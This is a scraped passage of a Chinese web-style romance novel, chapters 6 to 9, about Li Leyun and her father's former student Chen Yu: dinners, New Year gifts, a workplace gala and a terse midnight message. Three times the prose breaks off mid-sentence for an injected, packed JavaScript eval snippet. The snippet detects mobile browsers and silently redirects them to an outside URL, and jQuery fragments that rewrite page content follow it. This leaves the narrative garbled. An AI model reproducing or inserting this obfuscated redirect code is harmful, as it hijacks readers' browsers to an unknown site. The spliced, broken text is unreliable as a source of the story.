李乐韵换过三份工作了,陈彧完全不觉得她是有定性的人。他们单位招聘笔试的难度大概在考公的六成,她八成沉不下心来做准备。 “乐韵为什么要换工作?”他问李修文。 “她现在这个公司太乱了,前阵子她被公司领导的女儿给打了。” “她受伤了?严重吗?” “还好。你有空多跟她聚聚,帮我们劝劝她,要么回青阳来,要么换一个正规点的单位。她有教资,三级笔译也是考过了的,选择其实有很多。” 嫌他是书呆子的李乐韵,不爱学习的李乐韵,入社会后竟然也走上了考证之路。陈彧陷入情绪的怪圈,迷惘中,许多过去的画面又重重地压下来,覆盖住她的变化。 他告诫自己,无论如何都不能再回到过去。 他应付下李修文的话,打算跟李乐韵见一面,又对李修文说:“我领导介绍了一个姑娘给我,我觉得还挺合得来。” “什么?”李修文明显一愣。 “还在接触当中,有好消息会跟老师说的。” 李修文顿时心情黯然,无心再跟他聊。 6.第 6 章 风波之后,公司给了柳薇一周的假,可她一天也没休息,每天依然精神饱满地进出公司。上面查到些东西出来,确实处在灰色地带,但都在高层可以容忍的范围之内,认为能抓住她小辫子的一些人大失所望。 她跟钱飞的新闻仍旧在公司传播,版本众多,李乐韵听多了都开始佩服某些人编剧的能力。 柳薇送给李乐韵一个投影仪做圣诞礼物,让她的狗腿身份彻底坐实。 李乐韵进移民公司是误打误撞,运气不错,转正后分到女战士柳薇的组,从一开始就没为KPI发过愁。她没什么大理想,觉得跟学生打交道和跟客户打交道都差不多。江晴当初也支持她去体验不一样的职场和人生。 柳薇看重她心态好,一开始她偶尔犯错,也对她睁只眼闭只眼。相处的日子久了,发现她的内驱力很强,就好像心里有一个什么人或者是什么事总能在关键时刻推动她去突破自己的上限。 能互相欣赏的上司和下属不多,她们很少交心,却日渐产生信任。这回经事,李乐韵没有临阵脱逃,柳薇觉得自己没有看错人。 李乐韵收下礼物,对柳薇说:“别客气嘛。之前就说好的,我们互相保护。” 柳薇问她:“很好奇你从小到大吃过的最大的苦是什么,千万别告诉我是学习和考试。” 李乐韵真没吃过什么生活的苦,实在要说,那只能是感情的苦。 “被一个人抛弃?”说完她自己也产生怀疑。这多少有点无病呻吟了。 “前男友?” 李乐韵觉得算,却不想再多谈。她确实很难受,难受了好久。 她现在的变化就是当初伤心的证明。 柳薇从不把男人放在眼里,在感情上的建树并不适用于一个经历单薄的年轻女孩。她问李乐韵喜欢什么样的男人。 李乐韵说了个二次元人物,掩盖住一个真实具体的人。 . 总公司派人来视察,赵青青被抽调去做接待,得了大领导几句夸赞,跑到陈彧这里来邀功。 港口工程因历史遗留问题出了点纰漏,设备部给陈彧施压,他正头疼,赵青青跑进来一番叽叽喳喳,他沉着脸,半个字都没接。 赵青青耷拉着嘴角出了陈彧的办公室,问顾昀:“他就这么讨厌我吗?” 顾昀深深地看了赵青青一眼,说:“他肯定不讨厌你,但也肯定不会喜欢你。所以你省省吧。” “谁……谁要他喜欢啊!” 顾昀觉得这女孩真傻,无奈地笑了下,催她去拟部门采购申请。人走后,他心里叹了口气,部门里有三个年轻帅小伙,她眼里怎么就只有领导一人呢。 陈彧去跟设备部博弈,没什么成效,反倒落得一个咄咄逼人的名声。徐松阳把他叫去喝茶,问他为什么不请谷康仁支招。他觉得这家伙明知故问,茶喝的没滋没味。 谷康仁被视察工作搞得头大,好不容易闲下来,不问陈彧的工作进度,反倒问他跟罗一瑾进展如何。 他跟罗一瑾没有任何进展。罗一瑾约他吃饭,他一句没车,去市区一趟很麻烦,对方就不再叨扰。 谷康仁觉得蹊跷,“怎么回事啊,小罗说对你有兴趣的。” “最近太忙了。”陈彧应付道。 “那就从网友做起嘛,你们年轻人搞对象还要我这个老头来教?” 陈彧犯愁,于是双向欺骗,说高中老师正撮合他跟他女儿。 谷康仁啧啧嘴,“没想到你小子还是个万人迷。听说你们部门的赵青青也对你有意思?我得提醒你啊,赵青青这个姑娘背景可不简单。” “都是捕风捉影的事。赵青青和顾昀整天黏在一起,我瞧着他俩挺般配。” 谷康仁乐了,“你还给人家做起媒来了。先考虑考虑自己吧,我看啊,还是小罗最适合你。” 陈彧回到办公室,赵青青仍耷拉着脸。他走过去敲了敲顾昀的桌子,看向赵青青:“周六晚上有空吗?请你们俩吃个饭。” 赵青青眼睛瞪圆,“我有空,顾昀也有空。” 顾昀:“你怎么什么都代表我?” “就代表。”赵青青忽然就笑嘻嘻的。 陈彧点一下头:“还有一个女孩跟我们一块儿吃饭。”也不问这两人介不介意。 “谁啊?”赵青青问。 “我高中学妹。” . 李乐韵轻车熟路地给琵琶腿去骨,切成小块,抄了水,和洋葱、土豆、胡萝卜一起油煎,之后倒入照烧酱,加水闷煮。盖上盖子后,她看一眼她的迷你电饭煲,一刻钟后她就能得到一份美味健康的照烧鸡腿饭。 工作日太忙可以吃外卖,休息日就不要怠慢自己的肠胃了。她能照顾好自己不是一句大话, 当初认为她娇气不能自力更生的人现在就应该啪啪打自己的脸。 前天晚上黑无常发来消息,约她周六晚上吃饭,说还有他的两个同事一起。她不知道这人是什么意思,但应了下来。 陈彧选的餐厅离她家不算太远,午睡之后她从容地洗头、化妆、挑衣服。出门时晚霞还在,大片的橙粉色垂在天边,她的心情突然变得奇奇怪怪。 陈彧和顾昀到达餐厅门口时,赵青青的保时捷已经停在了停车场里,顾昀看见后摆出一个不自然的神情。这是赵青青的第二辆车,她上一辆是紫色AMG GT,许多年轻女孩的梦中情车。 顾昀是小镇青年,但家里做点小生意,条件不算差,一路长大没在物质上自卑过。可跟家底深厚的赵青青一比,差距感立刻就上来了。 情起是自卑的起源,他偏偏对赵青青动了点心。 “走吧。”陈彧拍了下顾昀的肩膀。 顾昀问:“领导,你怎么还不买车?” “没看中。” “就是个代步工具而已,早点买吧,谈个恋爱也方便。” “跟谁谈?”陈彧笑了下。 “罗工啊。” 陈彧皱眉:“你从哪儿听说的?” 顾昀说后勤部有个姐姐想给陈彧介绍对象,谷康仁一听,大手一挥,说已经介绍给建设公司的罗一瑾了,让旁人别再惦记。 陈彧摇头,“多把心思放在工作上。” 李乐韵路上接了个客户电话,稍稍迟了两分钟,进包间时,陈彧的两个同事正在聊单位趣闻。 活泼可爱的一个女孩和文质彬彬的一个男孩,看上去都很年轻,衬得安静聆听的陈彧格外老成。尤其是他今天穿了件深灰色的羊毛夹克,里面搭白T,休闲又不休闲的,显得这像是个商务局。 “李乐韵,木子李,快乐的乐,韵味的韵,我高中老师的女儿,也是我师妹。”陈彧起身给李乐韵安排座位,介绍她给大家认识。 “赵青青,青春的青,我是陈工的下属。” “顾昀,也是陈工的下属。” “都是部门同事,年纪跟你差不多。”陈彧介绍完,示意李乐韵墙角有衣帽架。 “你们好。”李乐韵点头笑笑,转身去挂自己的外套和包,看见架子上面有一个驼棕色的男士hobo包,是某品牌今年刚出的新款。她有一个同系列的女士hobo包,平时通勤用来装笔记本电脑。 陈彧把菜单递给李乐韵,给她倒了一杯热茶,介绍了一下招牌菜。过分周到的照顾显得两个人并不那么熟识。 但在赵青青看来,陈彧的样子跟平时在工作时判若两人。她没想到他有这样温柔绅士的一面,看向他的眼神里多了些别的情绪,又暗暗地想,难道他喜欢这个老师的女儿? 有一个各方面都跟他适配的罗工还不够,又来一个跟他一起长大的漂亮师妹,桃花未免太多。 李乐韵挨着陈彧坐,陈彧时不时跟她搭两句无关紧要的话,外人在场,陌生的社交氛围笼罩在彼此磕磕绊绊的关系上,让他们看起来像在不熟硬装。 “哪里受伤了?”服务员上菜时,陈彧侧耳轻声问她。 李乐韵指了指右边耳朵,觉得李修文嘴巴真大,怎么连这件事也要告诉他。 陈彧看向她白皙的耳垂,上面空无一物,他压下眼梢,“公司没有赔偿吗?” “一点小伤。” “影响到工作了吗?” “还好。” “老师和师母希望你能回青阳。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16518116|186151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我爸要你帮忙劝我?”李乐韵扯了下唇角,抬眸看向陈彧的眼睛,用玩笑的口吻跟他说:“不是想撮合我们俩嘛,我回去了我们还怎么往下发展。” 陈彧忽略她的玩笑,迎上她的目光,眼神平静如水,“要不要回去你自己决定。”说完给她夹了一个乳鸽翅膀,盛了半碗艇仔粥。 李乐韵根本不明白这个人的意思。 顾昀瞧着二人低语,一看就不是寻常的师兄妹关系。再看看满腹心事的赵青青,不理解陈彧为什么要组这样的饭局。 渐渐的,两个女孩活跃起气氛。她们谈论最近热门的电影和综艺,加了微信交换生活好物链接。 李乐韵边聊还不忘吃餐盘里的东西,陈彧了解她的口味,夹给她的都是她喜欢的菜品。 赵青青问李乐韵:“你平时健身吗?” 她身材真的不错,穿休闲的衣服也能看出来有胸有腰有屁股。 李乐韵二十岁左右的时候因极端减肥吃过一些苦头,经验教训让她学会爱护自己的身体。 她不喜欢运动,但热衷于养生,早起会拉筋,周末偶尔做做瑜伽,维持身材基本上靠健康饮食。她身高166,体重常年保持在102斤左右,比起拥有一副好穿衣服的衣架子身材,更追求一个气血充足的体魄。 赵青青也讨厌运动,顾昀拉的晨跑群,她加进去之后就屏蔽了。傍晚的篮球场她倒是愿意去,目的是看帅哥们的肌肉,让她帮忙推一推滚到场边的球她就懒得动了。 “你头发好好哦。”她又夸夸李乐韵。 陈彧望向李乐韵柔顺的长发,爱美爱到吹毛求疵的人,却从小到大没染过头发没打过耳洞。过去压断她的头发,她一定会对他横眉冷脸。 李乐韵给赵青青推荐了发膜和护发精油,两个人聊得太细,都是对男人来说无比陌生的知识,顾昀和陈彧完全插不进去话。 吃完饭,陈彧要送李乐韵回家。李乐韵很想说,没开车就不必相送了,陈彧却已经叫好了车。 两人坐进后排,司机在听有声小说,宅斗相关,说大房二房坐到了一起,要商议未来谁来掌家。 剧情还挺紧凑,李乐韵听进去了,正品着,陈彧开口说道:“年底很忙,之后可能没时间来看你了。” “嗯?”李乐韵侧头看他。 “你自己照顾好自己。”陈彧平视前方,霓虹光芒从他脸上划过。口气是那么笃定,像又一次告别。 李乐韵反应过来,他又要撂挑子了,只不过这一次,他是违背“师命”。 那为什么要带她跟他的同事们一起吃饭?为了让她察觉他那个机灵可爱的女下属喜欢他,证明他有魅力? 还是说,他就是不想跟她独处。 她轻哼,“就算你不来找我,我爸也不会把你怎么样。” 其实是这样的,但是陈彧做不到。爷爷不管爸爸不问的时候,李修文和江晴经常叫他去家里吃饭。他给李乐韵补习是举手之劳,江晴却执意给他买球鞋,说乔令他们都有,他也得有。 那不是简单寻常的师恩。 陈彧从他的包里取出准备好的最新款iPad Pro和Apple Pencil,递给李乐韵,“新年快乐。” 李乐韵抬起眼睛,歪着头,盯住他的脸,却不说话。 “这个你是用的上的。”陈彧淡笑回应她的审视,东西放在她的腿上。 耳环可以不戴,工作、学习和娱乐都能用上的工具,总不会也闲置。而且很大,最多只能藏进衣柜和床底,埋不进她家里的小花盆。 李乐韵思维跳跃地说:“你的包很好看,我也有一个。” “是吗,好巧。” “陈彧你变了。”说完这句话,李乐韵突然把自己的手伸了过去。 陈彧的手腕被她紧紧抓住,温热的指腹钻进他袖口里的皮肤,像食人花瞄准猎物,在做贪食之前的试探。 “李乐韵。”他皱眉叫了她的名字。 李乐韵没听见似的,弯着唇角,贴过去,嗅到他压抑的鼻息后,抬起另一只手,蹭掉一点嘴巴上的唇膏,缓慢地把这抹红色晕开在他冰凉光滑的表盘上。 7.第 7 章 车停在小区门口,被捉弄的“护花使者”没有下车送食人花最后一程,脸色冷然地看着那道倩影消失在夜色之中。 李乐韵到家后把两个白色的礼物盒放在书桌上,快速地洗了澡换上睡衣后,敷着面膜去拆盒身上的薄膜。 取出平板和笔,iPad的背面和笔侧上面竟然都刻着她的名字。 这是生怕她自己不用?他竟然在记耳环的仇。 李乐韵觉得陈彧在钓她。从刨出那个耳环偷偷藏匿开始,他就在装、在演、在等她上钩。 时间和别离是两个好东西,书呆子学会了精致,学会了钓鱼,学会了她当年屡试不爽的他口中的烂招数。 李乐韵当即打开iPad开始使用。导了China Daily的热词专栏进学习软件,下载了一些精读外刊。弄完发现自己魔怔了,谁要在大周末学习啊。 装模作样地拍了一张备考照片发在朋友圈后,洗脸上楼去睡觉。 . 田蕾给闵行公寓的次卧换了床垫,想着陈彧来留宿能住得舒服。陈彧坐在餐桌上陪她吃宵夜,问她是不是每个周末应酬都这么多。 “多啊,不多怎么赚钱。单是房贷车贷每个月就一万八。”田蕾卖房挣的钱都拿来买房了。买了房就是新上海人,再过几年落户,她这十几年的青春就算是没被时光辜负。 陈彧:“经济紧张的时候一定要告诉我。” 田蕾笑道:“怎么,打算给我养老?” 妈妈和外公外婆都走了,小姨就是他最亲的人。陈彧自然要跟她互相扶持到老。 “你爸什么时候来?”田蕾问。 说到这事就头疼,老陈元旦来上海,说要带女朋友给陈彧认识。陈彧一问,女方只比他大十三岁。 田蕾相劝:“你也别多想,你妈走了那么多年他都没找,现在手头有钱了,该享受就享受呗。反正你们父子俩以后各过各的。” “他的事我不管。” “他管你的事就行。只给八十万,太小气了,想在上海买房,起码给你个三五百万的,就这,还只能买个一室一厅。小姑娘租的那小区,五十平左右的户型,成交价都在三百万左右。” 田蕾一直叫李乐韵小姑娘,听感上总是会让陈彧觉得她还没长大。 陈彧扬了下眉毛,“我没打算在上海买房。” “那你是什么打算,听你爸的意思,想打通打通关系,让你留在上海的。” “你有空劝劝他,让他别掺和我的事。”陈彧说现在的单位结构冗杂,开展工作效率低下,大事上被掣肘,小事上被盯梢,没那么好混,更没那么好留。 “你还是年轻,基层待久了,斗争经验太少。” 陈彧不否认。提了几嘴徐松阳,问田蕾觉得这是个什么样的人。 田蕾说:“高俅。” 睡前陈彧刷到李乐韵的朋友圈,他送的iPad进入了使用流程,但她很可能不是真的在学习。就像她站在公司天台上说想死那句,重点是强调自己是美女。 陈彧把她的朋友圈屏蔽。 手表上的那点痕迹已经被他擦干净了。 她最好别妄想能用几滴胶水就黏好一块粉碎的玻璃。 . 赵青青挑晚会主持的礼服裙,发在朋友圈里问大家哪一条最好。李乐韵看见了,有理有据地帮她分析一通。她立刻发消息给李乐韵,要她周末有空过来玩。 李乐韵能去陈彧单位一趟不容易。但她真的去了,带着她准备的回礼。 她可不是那种占便宜的人,过去也不是。 门口的保安在电话里是这样说的:“陈部长,有个女同志来找你,怪年轻的。”语气里带着笑。 陈彧第一反应是罗一瑾,又想到罗一瑾有工作证,来他们单位应该不会被卡门禁。 那只能是李乐韵。 她来干什么? 李乐韵穿了件雪松绿的大衣,头发扎成马尾,耳朵冻得通红,斜背的大号hobo包鼓鼓囊囊。 陈彧的脚步越来越慢,最后停在门栏里面,对保安大哥点头示意一下,等着李乐韵自己走进来。 花了两个半小时转了三趟车的人咬住自己的下唇,拿掉身上重重的包,伸手递给眉心微皱的男人,尽量不在乎他脸上的“不欢迎”。 陈彧在复杂的情绪里接过这个沉甸甸的包,像困在崖底里的人遭遇滚滚落石,李乐韵尖锐的做派依然有摧毁草木的魔力。 宿舍门打开,简陋的硬件条件让李乐韵疑惑他是不是被新单位怠慢。独立卫浴干净但陈旧,房间里除了一张床之外只有一个小书柜和一张矮圆桌,窗前的书桌应该是他自己添的,风格跟其他家具格格不入。 书桌上放着《经济基础》《人力资源》和权威机构出的《核心考点讲义》。果然啊,卷王永不停歇,本专业卷完了,现在又要去管理岗卷。不知道他们单位的人事经理知道此事会作何感想。 李乐韵把包里的东西一样样拿出来,两盒线香和一个陶瓷香插、一支润唇膏、一双羊毛手套、一条领带和一本《带壳的牡蛎是大人的心脏》治愈系漫画书。 通通铺在他的学习资料上。 陈彧坐在床尾,眉心尽量舒展着,偏过去看她,脑袋重的像患重感冒。她这是想干什么? “这可不是我不要的东西,是我觉得你能用得上的东西,特地买的。”李乐韵转身靠在桌沿上,说了声“新年快乐”。 眼神像诱捕器似地擒住陈彧审视她的眉眼。 “老师和师母知道你来找我吗?”陈彧很想确认,他知会李修文的意思,李修文到底有没有传达给李乐韵。 李乐韵努努嘴,“我又不是小孩,不必事事跟他们汇报吧。” “我在相亲。”陈彧语气平缓。说完心中的磐石坠入一个寒潭,心事落定一般。 “唔。”李乐韵视线往下,反应平淡,“相呗,我爸在你这个年纪我都两岁了。” 还没相中有什么好值得通知她的。 有本事就带个女朋友给她瞧瞧。 . 赵青青等在餐厅门口,看见陈彧和李乐韵走过来,挥手跟他们打招呼。 “我有点事要去处理,赵青青先陪你吃午饭。”陈彧把自己的餐卡递给赵青青,让她带李乐韵去小食堂。 赵青青没接陈彧的卡。顾昀的宿舍有电磁炉和烤箱,偶尔给她开小灶,她餐卡里的钱根本吃不完。 陈彧离开后,李乐韵问赵青青:“大周末你们也这么忙?” “我们不忙。工程上有点问题,陈工最近很忙。” “这会儿把你薅过来,不耽误你背主持稿吧?” “不耽误不耽误,词我早就背好了。” “顾昀怎么没跟你一起?” 赵青青撇嘴,“我跟他吵架了。” “怎么了?” 两个人别扭了好几天。其实也没什么大事,就是顾昀突然对赵青青公事公办,在很小的工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522063|186151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作细节上卡她,还在她出错时训她。 “陈工都没训过我,他凭什么?” “他是不是喜欢你。”李乐韵很自然地发出这个疑问。 “啊……”赵青青挑了下眉头,“不会吧。” 赵青青点了招牌红烧肉和排骨年糕,正和李乐韵站着看汤品,顾昀来了,自作主张地添了道杭椒牛肉和水煮鱼。 青阳那边的人爱吃辣,顾昀想,他们不能怠慢了领导的师妹。 “陈工呢?”顾昀问赵青青。 赵青青不搭腔。 李乐韵说:“去港口了。” 顾昀用消毒湿巾擦了擦果汁纸盒上的吸管插口,先递给李乐韵,又推了一罐到赵青青的面前。赵青青冲他绷了下唇角,他把果汁拿回来,替她插好吸管,重新放到她面前。 赵青青低头猛吸一大口橙汁,对李乐韵说:“你下午留下来看我们的晚会呗。” 李乐韵说晚上还有事,请顾昀帮忙拍几张赵青青穿礼服裙的照片到时候发给她欣赏欣赏。 “你们俩对好词了吗?”她问。 “等会儿对。”顾昀说。 赵青青:“我没时间,我要搞妆造了。” “你搞呗,你边搞,我跟你再串一遍。” 赵青青轻哼一声。 李乐韵喝了口橙汁,酸酸甜甜真可口,跟眼前这两个小朋友一样开胃。 “下午罗工是不是要来?”赵青青问了句。 顾昀点头,“应该是的。” “瞧谷总那副样子,就好像他们俩要成了似的。” “谁要成?”李乐韵八卦地问。 “陈工,和建设公司的一个工程师姐姐。我们大领导亲自撮合的。” 啊,是真的在相亲在接触新的人啊。这时排骨年糕上桌,李乐韵大吃一口,齁咸。 “今天的盐放多了。”赵青青皱眉吐槽道。 顾昀立刻把自己没开的那瓶水递给了她。 李乐韵低头笑了。好熟悉的画面啊。 新设备做测试,陈彧被叫去巡查,这部分工作收尾,他的日常工作就正式回归到监管线。谷康仁说,这个下马威雷声大雨点小,让他学着圆滑一些,下回再遇到烂尾工程,一律先往外推。 陈彧注重效率,不愿意做打太极的事情。他自己累点无所谓,但他们部门年底的产能报告一定要漂亮。他能顶住压力,才不会那么容易被质疑和轻视。 赶去餐厅时外面下起了小雨,陈彧的外套上沾了点雨水,落座前脱下来,搭在椅背上,李乐韵在他的衣服口袋里看见卷起来的一张A4纸。 “再加个菜吧。”顾昀说。 “不用。”陈彧接过干净的碗筷,尝了块冷透了的年糕,问李乐韵吃饱了没。 水煮鱼的味道不错,李乐韵吃了满满一大碗米饭。方向很顺手,她把陈彧外套口袋里的那张A4抽出来一截,“这是什么?” 陈彧下意识地按住她的手,把这张纸塞了回去,“你坐好。” 赵青青看了他们俩一眼,对李乐韵说:“歌词。今天晚上陈工要跟别的同事一起唱歌,《无名的人》,是总务办的秘书给他安排的。” 他竟然要登台唱歌。这种单位的文艺活动果然充满正能量,他进这个单位算是进对了。 李乐韵试想一下黑无常站在舞台上握着话筒的样子,会笑吗?会挥手摆动作吗?不会像个木桩似地一个定点从头站到尾吧。 她咧开嘴笑了。 8.第 8 章 陈彧迫切地想把李乐韵送走,快速填饱肚子后看了眼时间,提醒她去市区的车一刻钟后出发,这一趟错过,又要等一个小时。 李乐韵这才发现这人换了块手表。 “真的不留下来看我们的晚会吗?”赵青青问李乐韵。 “拍视频给我看吧。” 赵青青眉开眼笑,“放心,到时候肯定有很多同事会拍陈工的。我发给你。” “好。” 陈彧口袋里那张打印出来的歌词,被他伸进去的手掌捂得温热。即使李乐韵想要留下来,他也一定会找办法把她弄走。 “走吧。”他再次提醒跟赵青青扯东扯西的李乐韵。 他不懂她为什么总能和没见过几次面的人迅速建交。 雨变得很小,不打伞也无关紧要。陈彧快步走在前面,李乐韵问他:“如果我回去的路上雨下大了怎么办?” 陈彧口气冰冷,“我现在要是回宿舍给你拿伞,会赶不上车。” “你很着急?” 陈彧顿住脚步,“你也看见了,我很忙。” 李乐韵知道自己在他眼里是烫手山芋。可他是皮很薄人吗?并不是啊。他经得起烫。 “你很害怕跟我见面?” 为什么会用“害怕”两个字。几年过去,她似乎终于开始承认她身上存在着某种毒性。 “我很忙。”陈彧又一次强调。 李乐韵没再发出声音。口舌上的逞能多没劲。 过了一两分钟,车来了。陈彧看向李乐韵:“上车吧,注意安全。” “相到什么合适的女孩记得告诉我。”李乐韵靠近一步,跟他对视:“你会告诉我的吧?” 陈彧低眉看着她的笑眼,很轻地扯了下唇角,伸出手,往前推动她的肩膀,将她的身体推向车门的方向,“再说。” 未等大巴车驶离,陈彧就先走。他的背影穿过轻薄的雨雾,融进灰色的场景,变成模糊视野里的一个特殊标识,但渐渐的,不再能被看清。 李乐韵塞上耳机听歌,收紧的情绪很快松下来,一点微弱的怨气又慢慢铺开。 这真是舟车劳顿自讨苦吃的一天。 也是今年的最后一天。 . 在舞台上跟搭档对词,需要看着对方眼睛,需要对他甜美地微笑,也会感知到他的才华,接收他深切的注视。赵青青忽然发现顾昀好像也不赖。 但也有可能是造型和打光带来的错觉,他的发型让他比平时看起来要成熟,眼神比平时要温柔。 台下的同事们纷纷议论,说这简直就是金童玉女。 陈彧很满意这个效果。他没有选错人,也没有看错这两人。之后不会再有同事开赵青青跟他的玩笑。 他希望赵青青能明白,只有关注她的人才值得她去关注。 罗一瑾跟自己单位的同事坐在礼堂靠后的区域,陈彧登台献唱时,她的注意力集中起来。 她过去谈的都是帅哥,陈彧的外表丢在里面排不到第一,他显然也不是个有趣的男人。但是很奇怪,她对他竟然有一点好奇。 介绍人是这样形容陈彧的:踏实、能干、上进、有责任心,是适合结婚的人选。 她当时一听就不感兴趣,条件不错的经济适用男,他们系统里一抓一大把。不过见面之后,她发现介绍人似乎也不太了解这个男人。他的确踏实,却并不呆板,甚至有一丝老实人的性感。 一个看似平实的人,给人的感觉,怎么可以既在规则之内,又在准则之外。多么值得切磋一番。 陈彧和另一个女同事一起登台。对方是一个快五十岁的主管,单位里出了名的女中音,次次活动都要亮相。这次把陈彧跟她安排在一起表演,是办公室秘书的提议。 效果确实很好,像两辈人在叙述各自的人生,在进行心灵对话,没有人联想到其他。所有人都跟着他们真诚的演唱进入了这首歌的语境。 其实陈彧根本不是什么会唱歌的人,他只是不跑调外加音色好听。他过去有很多主持经验,站在台上仪态很好,看不出紧张,这是加分项。 女同事是实力派,他是不拉低表演水准的绿叶。 一曲唱完,陈彧绅士地托着歌唱家的手下台。罗一瑾听见旁边的同事说:“从基层卷上来的小干部就是热衷于搞文艺活动哈。” “什么话啊。”罗一瑾翻了个白眼。 在后台通往礼堂的走廊上,罗一瑾找到陈彧。 “唱得不错啊。”罗一瑾夸赞道。 “别挖苦我。”陈彧客气地笑了下。 “想约陈工可太难了,明天放假,听说你这边工程也收尾了,总有时间跟我吃个饭了吧。” “明天还真不行。家里人来上海了,我得陪。” 罗一瑾抱起胳膊打量这个屡次拒绝她的男人。 陈彧思量再三,决定表明自己的态度。他对罗一瑾说:“千万别觉得我是个值得琢磨的人。越是让你感到好奇的人,他身上看不透的那部分,说不定越会让你感到失望。” 罗一瑾佯装叹气,“只是吃个饭而已,你到底在害怕什么。” 一天之内被两次认证是“胆小鬼”的陈彧,无所谓地耸一下肩膀,“晚会快要结束了,罗工别错过回单位的车。” . 李乐韵跟她的朋友们一起跨年。大家先一起去看开放麦,再去吃夜宵,几个人太久未见,话匣子拉得太开,喝酒喝到十二点,最后在烤肉店跟着老板和其他顾客一起喊倒数。 互相说新年快乐的时候,每个人的脸上都洋溢着尽兴的笑容。 时间一年一年走过,工作依然忙碌,职场上依然没找到成就感,生活依然平淡,也依然没有存款。可这一刻,她还是想为自己干杯。 至少她填满了半间屋子和整个衣柜。她没有脱发,没有频繁长痘,没有生大病,没有与人交恶,没有干坏事,也没有拖累父母。 这就已经非常值得庆祝了。 她给爸爸妈妈和许竹莹发去语音,说她爱他们,祝他们元旦快乐、新的一年健康平安。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522672|186151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 也给陈彧发了一句别的话。一句她觉得很重要的话。 发完朋友把她拉去拍照,她举起双手摆出开心的姿势。心中默默许愿,今年也要过得很好。 . 顾昀没有卸妆水,来陈彧的宿舍借。陈彧木然地看着他,他怎么会有这种东西。 “没有吗,感觉你平时挺精致的。涂防晒霜也是需要卸妆的吧。” 陈彧无语地笑了,“你见过我防晒?” “那洗面奶总有吧,我的用完了,还没买新的。” 顾昀踏进陈彧的浴室,用他的洁面乳大力搓脸。看见镜子后面的柜子里不仅有洗面奶,还有面霜、保湿喷雾、磨砂膏和身体乳,牙膏也不是大众的品牌,是花里胡哨的英文,看起来并不便宜。 就说他精致吧。 “赵青青呢?”陈彧问顾昀。 “当然是回市区了。” 陈彧低头看手机,“还有一个半小时就要跨年,你不准备做点什么吗?” “做什么?” 陈彧倚在衣柜上,提点他道:“时代不同了,年轻人变得更聪明,也应该更懂得提高感情的效率。” “什么意思?” 陈彧睨一眼洗干净脸后眉清目秀的小伙子,“自己悟吧。” 其实顾昀心里一清二楚,装傻不是他本意。 他问:“领导,你喜欢你师妹吗?” “我们在谈你的事。” “连赵青青都看出来了,”顾昀继续说道,“那天你是故意带乐韵跟我们一起吃饭的吧。” 陈彧不想多谈李乐韵,说:“赵青青有点钝,但是她一点也不笨,你稍微点点她,她就能通窍。” “她还不笨啊,她笨死了。” “感情里肯定是女孩更敏锐更聪明,如果你觉得她笨,那就是她在伪装。但你不能指望她们先主动,否则你就会陷入被动。” “这是你的经验之谈?” “……我没有经验。” “没有经验?”顾昀怎么那么不信。他出了浴室,嗅到一股自然的花草香气,往陈彧的书桌前嗅,“你还点香啊,太雅致了吧。用来安眠的吗?” 陈彧没吱声。 “这么多礼物盒……”顾昀又看见书桌上那一摊李乐韵送给陈彧的礼物。 “洗干净了吗?”陈彧开始赶客。 “我给赵青青也买了新年礼物。” “很好。你可以走了,我要休息了。” “不跨年吗?” “我们老人睡得早。” “……” 洗完澡后,陈彧跟老陈约好了明天碰面的时间,给田蕾发去一句元旦祝福。 躺在床上听了两集之前下载的《Global News Podcast》,讲国际关系的趣闻播客,政经类的生僻词很多,却懒得爬起来查询做笔记了。 时间跳到十二点,新的一年正式到来。 零点零二分,李乐韵发来四个字。 她说:我没有错。 9.第 9 章 陈彧从床上坐起来,看考题题干似地认真地读了一遍这四个字。 冷笑从胸口里冒出来,他低下眼睛,放下手机,偏过脸,死死盯住窗外的黑夜,像是想从那片黑色里找到一块可以抹去过往的橡皮擦。 要是真的能找到,他一定会先抹掉她的这句话。 压在心底冰凉的海水翻涌出来,淹没掉理智。陈彧掀开被子,按亮床头灯,找到自己的拖鞋,去衣柜里翻找衣服。直到解开睡衣的最后一颗纽扣,冷空气灌入怀中,他才想起来,自己没有车。 他无法赶去跟她对薄公堂。 空气中残留的她送的香,此时像迷魂剂。 静静地坐了半晌,身体感觉到冷,空调温热的风打过来也还是冷,陈彧躺回被子里,暗示自己先冷静。 他失控的时刻不多,过去每一次都有程度不同的报应。 他的眉头慢慢地舒展开,眼睛渐渐不再感觉到累。闭上眼睛的那一刻,他想,好在没有回复她的这句话,好在他没有车。 理解成是她的奸计,今晚就会比较好过。 他没有中计,真好。 . 李乐韵把脸浸在冰水里十几秒,确认喝酒又熬夜的自己不再肿的像猪头,擦干水渍,去厨房给自己做早餐。 